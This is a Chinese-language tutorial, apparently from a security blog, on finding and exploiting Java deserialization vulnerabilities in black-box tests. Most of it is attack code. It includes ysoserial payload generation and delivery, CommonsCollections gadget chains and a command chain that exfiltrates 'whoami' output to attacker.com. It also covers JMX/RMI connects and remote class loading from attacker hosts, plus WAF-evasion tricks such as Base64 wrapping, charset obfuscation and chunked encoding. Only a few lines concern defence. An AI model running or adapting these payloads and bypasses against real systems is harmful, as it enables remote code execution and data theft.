一、入口点发现技巧
1. 协议特征识别
-
Java原生序列化
POST /api/data HTTP/1.1
Content-Type: application/x-java-serialized-object
[HEX] AC ED 00 05 73 72 00 ... # 魔数头AC ED 00 05
-
XML序列化
<java serialization="1.0">
<object class="java.util.HashMap">
<field name="user" class="com.example.User">
<string>test</string>
</field>
</object>
</java>
-
JSON特殊格式
{
"@type": "com.example.User",
"name": {"$ref":"$.恶意属性"}
}
2. 常见渗透路径
graph LR
A[HTTP请求] --> B[参数污染]
A --> C[Cookie篡改]
A --> D[文件上传]
E[JMX端口] --> F[1099端口探测]
G[RMI服务] --> H[远程对象绑定]
二、漏洞检测手法
1. 盲打检测法
# 使用DNSLOG检测反序列化触发
java -jar ysoserial.jar URLDNS "http://xxxxxx.dnslog.cn" > payload.bin
# 发送payload并观察DNS解析记录
curl -X POST --data-binary @payload.bin http://target.com/api
2. 延时检测法
// 构造触发sleep的payload(CommonsCollections5)
Transformer[] chain = {
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"sleep", new Class[]{Long.TYPE}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{5000}})
};
观察响应时间:
-
正常请求响应时间:200ms
-
成功触发后响应时间:>5000ms
3. 错误信息分析
HTTP/1.1 500 Internal Server Error
Content-Type: text/plain
java.io.InvalidClassException:
org.apache.commons.collections.functors.InvokerTransformer;
local class incompatible: stream classdesc serialVersionUID = -8653385846894807688...
关键特征:
-
出现
InvokerTransformer
、AnnotationInvocationHandler
等类名 -
InvalidClassException
中包含CC组件信息
三、协议级渗透技巧
1. RMI服务探测
# 使用nmap扫描RMI注册端口
nmap -p 1099 --script rmi-vuln-classloader 192.168.1.100
# 强制绑定恶意对象
String server = "rmi://192.168.1.100:1099/Exploit";
Naming.bind(server, new MaliciousObject());
2. JMX攻击
// 构造JMX连接payload
JMXServiceURL url = new JMXServiceURL(
"service:jmx:rmi:///jndi/rmi://attacker.com:1099/exploit"
);
JMXConnector connector = JMXConnectorFactory.connect(url);
3. HTTP参数注入
POST /exportData HTTP/1.1
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="config"
rO0ABXNyADRjb20uZXhhbXBsZS5TZXJpYWxpemFibGVDb25maWg... # 序列化对象
四、高级绕过检测
1. 协议伪装技巧
# 将序列化数据嵌入JSON
import base64
payload = open('payload.bin', 'rb').read()
wrapped = {
"data": {
"type": "base64",
"value": base64.b64encode(payload).decode()
}
}
requests.post(url, json=wrapped)
2. 字符集混淆
// 使用多种编码绕过WAF检测
String[] encodings = {"UTF-16BE", "UTF-32", "x-COMPOUND_TEXT"};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payload);
for (String enc : encodings) {
String encoded = new String(bos.toByteArray(), enc);
sendTestRequest(encoded);
}
3. 分块传输绕过
POST /api/upload HTTP/1.1
Transfer-Encoding: chunked
7
\xac\xed\x00\x05
0
...后续chunk携带剩余payload...
五、工具链配置
1. Burp Suite插件配置
# 使用Burp自定义插件自动检测
from burp import IBurpExtender
from burp import IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def doPassiveScan(self, baseRequestResponse):
data = baseRequestResponse.getRequest()
if b'\xac\xed\x00\x05' in data:
return [CustomScanIssue(
baseRequestResponse.getHttpService(),
"Java Serialization Detected",
"Possible insecure deserialization")]
2. 自动化检测脚本
#!/bin/bash
# 自动化黑盒测试脚本
TARGET=$1
# 生成所有CC变种payload
for gadget in {1..10}; do
ysoserial.jar CommonsCollections$gadget "nslookup $gadget.xxx.dnslog.cn" > payload$gadget.bin
curl -X POST --data-binary @payload$gadget.bin $TARGET
done
六、漏洞确认与利用
1. 回显验证
// 构造命令执行回显payload
String cmd = "curl http://attacker.com/$(whoami|base64)";
Transformer[] chain = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
2. 内存马注入验证
GET /favicon.ico HTTP/1.1
Host: target.com
X-Token: ${@Runtime@getRuntime().exec("calc")} # 检测表达式解析
七、防御方案验证
1. 安全配置检查
# 检查服务器是否配置反序列化过滤
curl -v -X POST --data 'rO0ABXNy...' -H "Content-Type: application/x-java-serialized-object" http://target.com/api
# 预期安全响应:
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"Unsupported media type"}
2. WAF规则测试
# 测试WAF是否拦截CC特征
payloads = [
b'InvokerTransformer',
b'AnnotationInvocationHandler',
b'\xac\xed\x00\x05'
]
for p in payloads:
r = requests.post(url, data=p)
if r.status_code != 403:
print(f"Bypass found: {p[:20]}...")
总结与思维导图
graph TD
A[黑盒测试流程] --> B[流量捕获]
A --> C[特征识别]
A --> D[Payload构造]
A --> E[异常检测]
B --> F[BurpSuite历史记录]
C --> G[AC ED头检测]
D --> H[Ysoserial生成]
E --> I[响应时间分析]
E --> J[错误信息匹配]
E --> K[DNSLOG回调]
核心要点:
-
通过协议特征快速锁定可疑端点
-
结合多种检测手法相互验证
-
关注非常规协议端口(RMI/JMX/JNDI)
-
持续更新payload绕过最新防御措施
反序列化的深度技巧
一、基于协议特征的深度检测
1. DNS/ICMP 双通道验证
通过组合DNS查询与ICMP回显检测漏洞,提高隐蔽性:
# 生成DNS探测payload(使用ysoserial)
import os
import requests
dns_log = "yourdomain.dnslog.cn"
payload = os.popen(f'java -jar ysoserial.jar URLDNS {dns_log}').read()
requests.post(target_url, data=payload)
# 同时监听ICMP(Python scapy示例)
from scapy.all import *
def icmp_callback(pkt):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # ICMP请求包
print(f"ICMP Echo Request from {pkt[IP].src}")
sniff(filter="icmp", prn=icmp_callback, timeout=30)
原理:
-
URLDNS
链会触发DNS解析,验证漏洞存在性 -
若目标网络限制DNS外连,可改用
CommonsCollections5
构造ping
命令触发ICMP回包
二、非常规协议伪装
1. HTTP参数嵌套Base64
将序列化数据嵌入JSON参数,绕过基础WAF检测:
import base64
import requests
with open("payload.bin", "rb") as f:
serialized_data = f.read()
wrapped_payload = {
"data": {
"type": "binary",
"content": base64.b64encode(serialized_data).decode()
}
}
requests.post("http://target/api/upload", json=wrapped_payload)
特征伪装:
-
原始特征
rO0AB
被Base64编码后变为rO0AB
→ck8wQUI=
,可绕过简单正则匹配
2. Multipart表单注入
将payload隐藏在文件上传字段:
import requests
files = {
'file': ('payload.bin', open('payload.bin', 'rb'),
'application/x-java-serialized-object')
}
requests.post("http://target/upload", files=files)
检测点:
-
观察
Content-Type: multipart/form-data
中是否包含Java序列化数据
三、中间件特性利用
1. JBoss httpinvoker 漏洞利用
针对JBoss 5.x/6.x的ReadOnlyAccessFilter
组件:
// 构造JBoss特定payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(javax.management.MBeanServerConnection.class),
new InvokerTransformer("getAttribute",
new Class[]{ObjectName.class, String.class},
new Object[]{new ObjectName("jboss.system:type=Server"), "StartTime"}),
new InvokerTransformer("toString", null, null)
};
触发点:
-
发送payload至
/invoker/readonly
端点,利用MBean操作执行命令
四、时序攻击与条件竞争
1. 延迟注入检测
通过响应时间差异判断漏洞:
import time
payloads = [
generate_sleep_payload(5), # 生成触发Thread.sleep(5000)的payload
generate_dummy_payload()
]
for p in payloads:
start = time.time()
requests.post(target_url, data=p)
elapsed = time.time() - start
if elapsed > 4.5:
print(f"Potential vulnerability detected with payload {p}")
原理:
-
成功触发反序列化漏洞时,服务器会执行
sleep
导致响应延迟
五、非标准端口探测
1. JMX端口(1099)探测
# 使用nmap检测JMX服务
nmap -p 1099 --script rmi-dumpregistry <target_ip>
# 强制绑定恶意对象
String jmxUrl = "service:jmx:rmi:///jndi/rmi://attacker_ip:1099/Exploit";
JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(jmxUrl));
利用场景:
-
JMX默认使用RMI协议,若未配置安全策略可直连执行命令
六、防御绕过技巧
1. 动态类加载混淆
// 利用URLClassLoader加载远程类
Transformer[] chain = {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("newInstance",
new Class[]{URL[].class},
new Object[]{new URL[]{new URL("http://attacker.com/")}}),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"Exploit"}),
new InvokerTransformer("newInstance", null, null)
};
绕过效果:
-
避免直接引用危险类(如
Runtime
),绕过静态黑名单检测
总结与验证建议
-
多维度验证:组合DNS、ICMP、响应时间等特征判断漏洞有效性
-
协议分析:使用Wireshark分析原始流量,确认payload传输完整性
-
环境适配:根据目标中间件(WebLogic/JBoss等)调整payload构造策略
防御建议:
-
启用
SerialKiller
等安全反序列化库 -
配置JVM安全策略限制敏感操作
通过以上技巧,可在黑盒测试中发现传统方法难以检测的反序列化漏洞入口点。实际攻击需根据目标环境动态调整payload和检测策略。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)